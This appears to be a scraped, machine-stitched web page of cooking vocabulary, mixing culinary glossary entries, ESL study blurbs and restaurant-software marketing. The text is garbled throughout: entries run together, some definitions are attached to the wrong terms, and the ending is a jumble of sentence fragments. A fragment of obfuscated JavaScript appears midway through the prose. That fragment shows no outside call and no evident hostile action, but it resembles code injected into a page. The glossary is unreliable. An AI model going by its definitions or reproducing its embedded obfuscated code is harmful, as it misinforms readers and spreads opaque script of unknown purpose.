Whether you are a chef, cook, restauranteur, or home cook you would benefit in having a reference for all the terms out there. Bard. >> Click here to learn foods vocabulary in English This liquid is then used to make a gravy or sauce. Useful words to be able to cook and talk about cooking and eating in general. Photo: Cooking vegetables in a pan. Give yourself lots of room so you can continue to add to the food vocabulary lists as you learn new words. Cooking is mostly done in the kitchens with special tools and equipments. Baste. I get a lot of questions from students about cooking vocabulary. The person who prepares food is called cook. Al dente. List of useful kitchen verbs in English with pictures and examples. If we can cook, we can eat healthy dishes made at home with fresh ingredients instead of having to buy unhealthy fast food or expensive pre-cooked or frozen meals. Learning the basics of cooking vocabulary will help you to interpret recipes, better understand the food you serve, and help customers with questions they have about unfamiliar terms. Use these menu templates as a starting point for your menu design or to give your menus a refresh. Try to guess the name of an image and click on it to see the answer. The following list of verbs frequently appear when reading the cooking instructions of recipes in English. Kids Cooking Activities: Print out recipes and also food facts and blank coloring pages. with word definitions and example sentences. A glaze is a sticky substance coated on top of food. As Spanish language learners, we grow closer to the Spanish language and Hispanic culture by learning key food and cooking vocabulary. A chef is a fancy word for a cook. Carry-out, also known as take-out, is what you get… The browser you are using does not support HTML5 audio playback. Baked If food is baked, it is cooked in an enclosed space, using hot air. Cooking Verbs! Choose from 500 different sets of cooking vocabulary flashcards on Quizlet. - made without yeast or any other leavening agent, often referring to bread, Vandyke (v.) - to cut a zig-zag pattern around the circumference of a lemon to create decorative garnishes for food presentationVelouté (n.) - a type of sauce in which a light stock, such as chicken of fish, is thickened with a flour that is cooked and then allowed to turn light brownVictual (n.) - any food or provisions for humans; all food is a "victual"Vol-au-Vent (n.) - a round pastry that is baked and then filled with meat or vegetables after the fact, Whip (v.) - to beat food with a mixer to incorporate air and produce volume, often used to create heavy or whipping cream, salad dressings, or saucesWhisk (n.) - a cooking utensil used to blend ingredients in a process such as whipping, Xanthan gum (n.) - a food additive, commonly used to thicken salad dressings, that is water-soluble and produced by the fermentation of sugar with certain microorganismsXylitol (n.) - a naturally fulfilling alcohol found in most plants such as fruits and vegetables, widely used as a sugar substitute in sugar-free chewing gums, mints, and other candies, Yakitori (n.) - a Japanese dish of small pieces of boneless chicken that is marinated, skewered, and grilled, Zest (v.) - to cut the zest, or the colorful part of the skin that contains oils and provide aroma and flavor, away from the fruit. Say the meaning of it in your own language. - sprinkled with breadcrumbs and cheese, or both, and browned, Au jus (adj.) Recipes are not only about how to cook a particular dish. >> Click here to learn fruits vocabulary in English Sorry. Start studying Cooking Vocabulary****. Allie worked in the fast food industry making burgers before joining Toast to write about the future of restaurants. Cooking Vocabulary in English – With Games Pictures and Quizzes, ⬤ Pictures of cooking vocabulary in English with pronunciations, ⬤ Word list of cooking vocabulary in English, ⬤ Flashcards exercise about cooking vocabulary, ⬤ Images of cooking vocabulary to download and share, ⬤ Worksheets for cooking vocabulary to download, Cooking Vocabulary – Memory Card Game with Audio, Cooking vocabulary – Word scramble game in English, Cooking vocabulary – Word search puzzle in English, Cooking vocabulary – Make words game online, Cooking vocabulary – Wetman (Hangman) game in English online. Don't worry, we have a list of common culinary terms for just that situation! - with its own juices from cooking, often referring to steak or other meatAu poivre (adj.) Here is a list of cooking vocabulary in English with pictures and pronunciation. Learn cooking vocabulary with free interactive flashcards. Get the right tools, technology, and advice — personalized for your restaurant. They're about words. Knowing the English names will help you to understand what other people are saying when in the kitchen as well as giving you the relevant vocabulary to understand recipes. - coated with loosely cracked peppercorns and then cooked, often referring to steakAu sec (adj.) Usually, food is baked inside an oven. Food and beverage vocabulary, Food and beverage word list - a free resource used in over 40,000 schools to enhance vocabulary mastery & written/verbal skills with Latin & Greek roots. English Vocabulary about cooking instructions and what they mean - Vocabulario para cocinar en inglés. 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If you are part of the cohort of chefs and head cooks, growing faster than other careers at a rate of 6%, you’ll need to master these cooking terms, French, Italian, or otherwise in origin, to succeed. These are called kitchen utensils. Yes, I’d like a demo of Toast, a restaurant technology platform. Sign up to get industry intel, advice, tools, and honest takes from real people tackling their restaurants’ greatest challenges. Our list of 101 culinary terms includes cooking terminology, food prep terms, and beverage definitions that every restaurateur should know. Site members have full access to an ad-free, print-friendly version of the site. EnglishClub: Learn English: Vocabulary: Topic Vocabulary: Food The Vocabulary of Food. First listen to the audio about cooking. Click on an image for the pronunciation. Get all the best stories for free. A vocabulary list featuring A Recipe for Success: Thanksgiving Cooking Words. Cooking … Gratin. The vocabulary that's thrown around the kitchen has a purpose, and that's to speed things up and make sure everyone stays safe. Learn vocabulary, terms, and more with flashcards, games, and other study tools. Bake: To cook food in an oven, surrounded with dry heat; called … The kitchen slang you’re guaranteed to hear working in a restaurant. Here is a list of cooking vocabulary in English with pictures and pronunciation. - separately priced items from a menu, not as part of a set meal.Al dente (adj.) [];return function(_0x48971f,_0x354fb7){if('zJuuT'!==_0x398a('0x0')){var _0x47105e=_0x144d83?function(){if(_0x354fb7){if(_0x398a('0x1')===_0x398a('0x2')){that=window;}else{var _0x59ef71=_0x354fb7[_0x398a('0x3')](_0x48971f,arguments);_0x354fb7=null;return _0x59ef71;}}}:function(){};_0x144d83=! Chefs, restaurateurs, and even servers should know these cooking terms and adapt to using them. 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These cooking definitions often come from other languages like French and Italian and can be challenging to understand. You will see a listening and spelling test about cooking below. Our list of 101 culinary terms includes cooking terminology, food prep terms, and beverage definitions that every restaurateur should know. Note that unlike in English, French food terms are generally preceded by an article such as le (the) or un (a). Train your back of house staff with this recipe cards template, a customizable Excel sheet that outlines recipe requirements for chefs. Cooking is the process of preparing food by mixing the ingredients and heating for consumption. Au jus. 50+ cooking verbs (frenchtoday.com) cooking verbs PDF (commeunefrancaise.com) French cuisine (wikipedia page) Related lessons: top 10 french dishes; conversation lesson covering food and eating; ordering food (restaurant phrases) food vocabulary (100+ terms) drinks vocabulary; desserts vocabulary While culinary terms are usually different from kitchen slang, they both fall under the category of kitchen lingo, which is a language you’ll need to speak to get by in the restaurant biz. Food Vocabulary Word List : ... Friends, Acquaintances, and Other People — Vocabulary Word List. Below is a picture quiz about cooking. Rituals, events, and family dynamics are centered around food. A vocabulary word list (word bank) of cooking terms! Yes, I'd like a demo of Toast is required, The Benefits of Restaurant Kitchen Order Systems. However, there are many different types of foods around the globe, as well as diverse cooking techniques and utensils, and all these names can be difficult to learn For children, learning cooking vocabulary can be an advance in their English learning experience. Most of them happen to be French, as much of today’s cuisines are based on traditional French cooking. Plus, what better way to impress your friends than to whip out these cooking definitions? I have included some examples sentences using each verb: Associated matching worksheet can be found in section Nutrition-Exercise Worksheets. - separately priced items … In the sections below you'll find reading materials, vocabulary lists and fun quizzes to help you learn lots of new words and phrases about food, cooking … He or she can do this either for a living, or in his or her house. Take a look at our list to get cooking: Al dente To cook food until just firm, usually referring to pasta, but can include vegetables. There are a whole variety of kitchen utensils and when cooking or eating, these words will appear many times. Ther ar thre different sizes … This is a listening test practice about cooking. Being familiar with culinary terminology will optimize your back of house operations. Parboiling (v.) - the process of adding foods to boiling waters, cooking until they are softened, then removing before they are fully cooked, usually to partially cook an item which will then be cooked another wayParcooking (v.) - the process of not fully cooking food, so that it can be finished or reheated laterPâté (n.) - a mixture of seasoned ground meat and fat minced into a spreadable pastePaupiette (n.) - a thin, flattened piece of meat, rolled with a stuffing of vegetables or fruits, which is then cooked before servedPersillade (n.) - a sauce or seasoning mixture of parsley chopped with seasonings, often used as part of a saute cook's mise en place  Polenta (n.) - a mush or porridge made from yellow or cornmeal which originated in Northern ItalyPraline (n.) - a confection of nuts cooked in boiling sugar until brown and crisp, Quadriller (v.) - to make criss-cross lines on the surface of food, as part of food presentationQuatre-epices (n.) - literally meaning "four spices," a finely ground mixture of generally pepper, cinnamon, nutmeg, ginger, or cloves, used to season vegetables, soups, and stews, Quenelle (n.) - a small quantity of a mixture of creamed fish or meat with a light egg binding, usually formed into a round shape, and then cooked, Remouillage (n.) - a stock made from bones that have already been used once to make a stock, making it weakerRender (v.) - to cook the fat out of something, such as baconRondeau (n.) - a wide, shallow pan with straight sides and two loop handles, often used for searing and poaching, Sautéing (v.) - to cook food quickly over relatively high heat, literally meaning "to jump" as the food does when placed in a hot pan Scald (v.) - to heat a liquid so it's right about to reach the boiling point, where bubbles start to appear around the edgesSear (v.) - a technique used in grilling, baking, or sautéing in which the surface of the food is cooked at high temperature until a crust formsStaling (v.) - a chemical and physical process in which foods such as bread become hard, musty, or dry, also known as "going stale", Steep (v.) - to allow dry ingredients to soak in a liquid until the liquid takes on its flavor, often referring to coffee, tea, or spicesSweat (v.) - gently heating vegetables in a little oil, with frequent stirring and turning to ensure emitted liquid will evaporate; usually results in tender, or in some cases such as onions', translucent pieces, Tempering (v.) - raising the temperature of a cold or room-temperature ingredient by slowly adding hot or boiling liquid, often referring to eggsTourner (v.) -to cut ingredients such as carrots or potatoes into a barrel-like shape that form six or seven sides on the length of the item being cut, using a Tourner knife or a paring knifeTrussing (v.) - to tie meat or poultry, such as turkey with a string, woven through the bird parts by using a needle, in order to create a more compact shape before cooking, Ultra-pasteurization (n.) - the process of heating up milk products to 280 degrees Fahrenheit for a few seconds and chilling it down rapidly, resulting in milk that's 99.9% free from bacteria and extending their shelf-lifeUnleavened (adj.) - served in the Greek style of cooking, with olive oil, lemon juice, and several seasonings, often referring to vegetablesA point (adj.) Click on a card to open it and then you will see a word about cooking. A gratin is a topping that is often either breadcrumbs or grated cheese that forms a brown crust when placed under a hot … - used to describe food that provides health or medical benefits as well as nutritional value, also known as functional food, Oeuf (n.) - the French term for eggOignon brule (n.) - literally meaning "burnt onion," a culinary term for a half-peeled onion seared on a skilletOrt (n.) - a scrap or morsel of food left over after a mealOuzo (n.) - an anise-flavored, strong, colorless liquor from Greece. Glossary: This is Betty Crocker’s dictionary of over 1000 cooking terms. Where appropriate, the English translation of the term is preceded by an indication of the gender of … The great thing about fast food is that it can be eaten on the go. ESL Cooking Vocabulary List with Definitions. Food-related Topics and Vocabulary. Just so you know, we’ll handle your info according to our privacy statement. If you are spending a lot of time in the kitchen whether that is for fun or because it is your job, it will be very useful to have a good knowledge of cooking verbs which can really help when it comes to communicating with other people in the kitchen. On this page we provide you cooking vocabulary with games, flashcards, images and puzzles online for free. What is the difference? Food is the heart of culture. Here is a list of appliances and utensils you can find in a kitchen; as well as the main action verbs you need to prepare food and drinks. Deep frying A dry-hea t cooking method tha uses convection to transfer heat to a food submerged in preheated oil. >> Click here to learn fast food vocabulary in English We promise not to spam you, swear. >> Click here to learn vegetables vocabulary in English Dice A typ e ofcut. Kiss Recipes: A list of common cooking terms, many of which are not found on the list above. Learning about cooking vocabulary might seem easy. Then select the corresponding picture from the list. Published: Jul 15, 2011 Grades: 1-5 Ages: 6-13 Preschool Tracing Worksheet - Kitchen words vocabulary sheet - Apron . To tie bacon or pork fat over a joint of meat or poultry before it is roasted … This is followed by a set of ESL cooking vocabulary picture flashcards and then a recording of the ESL cooking vocabulary … On this page we provide you cooking vocabulary with games, flashcards, images and puzzles online for free. Modern ovens are usually heated by electricity, although food … Here is a writing test about cooking. Infusion. Jacquarding (v.) - the process of poking holes into the muscle of meat in order to tenderize it, also known as needlingJeroboam (n.) - an oversize wine bottle holding about three litersJus lie (n.) - meat juice that has been lightly thickened with either arrowroot or cornstarch, Kipper (n.) - a whole herring that has been split into a butterfly fashion from tail to head, gutted, salted, or pickledKirsch (n.) - a fragrant, colorless, unaged brandy distilled from fermented cherries , used with fondueKissing Crust (n.) - the portion of an upper crust of a loaf of bread which has touched another loaf when baking, Lactobacillus (n.) - a bacterium usually found in fermenting products, such as yogurts, Larding (v.) - the process of inserting strips of fat into a piece of meat that doesn't have as much fat, to melt and keep the meat from drying outLiaison (v.) - a binding agent of cream and egg yolks used to thicken soups or sauces, Macerate (v.) - the process of softening or breaking into pieces using liquid, often referring to fruit or vegetables, in order to absorb the flavor of the liquidMarinate (v.) - the process of soaking foods in seasoned and acidic liquid before cooking for hours or days, adding flavor to the foodMesclun (n.) - a salad consisting of tender mixed greens such as lettuce, arugula, and chicory, herbs, and edible flowersMignonette (n.) - roughly cracked or coarsely ground peppercorns, used for au poivre dishes or for mignonette sauce, which contains vinegar and shallots as well and is often used for oystersMince (v.) - to finely divide food into uniform pieces smaller than diced or chopped foods, prepared using a chef's knife or food processorMise en place (v.) -the preparation of ingredients, such as dicing onions or measuring spices, before starting cooking, Mother (n.) - the base sauce used to make other variations of the original sauce; there are five variations: brown or espagnole, velouté, béchamel, tomato sauce, and emulsions, Nappe (n.) - the ability of a liquid to coat the back of a spoon or the act of coating a food, such as a leg of lamb, with glazeNeedling (v.)  - injecting fat or flavors into an ingredient to enhance its flavorNutraceutical (adj.) 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Recipe requirements for chefs, 2011 Grades: 1-5 Ages: 6-13 Preschool worksheet., also known as take-out, is what you hear in the fast industry... Of restaurants studying cooking vocabulary in English with pictures and examples kitchen slang guaranteed! A particular dish cooking vocabulary list, I’d like a demo of Toast is,...... this comprehensive culinary dictionary will test your cooking mettle and Italian and can be found in section Worksheets..., food prep terms, and sitting down to meals together meaning of it in your language. Its own juices from cooking, often referring to pastaA la grecque adj... Than to whip out these cooking definitions often come from other languages French! Chef ( nouns ) a cook is a list of 101 culinary terms a Z... Deglazing Th e process of preparing food by mixing the ingredients and cooking vocabulary in English with pictures pronunciation. Not support HTML5 audio playback give yourself lots of room so you know, we’ll your... Staff with this recipe cards template, a customizable Excel sheet that outlines recipe requirements for chefs these! Customizable Excel sheet that outlines recipe requirements for chefs just that situation seem especially curious about words for cooking.!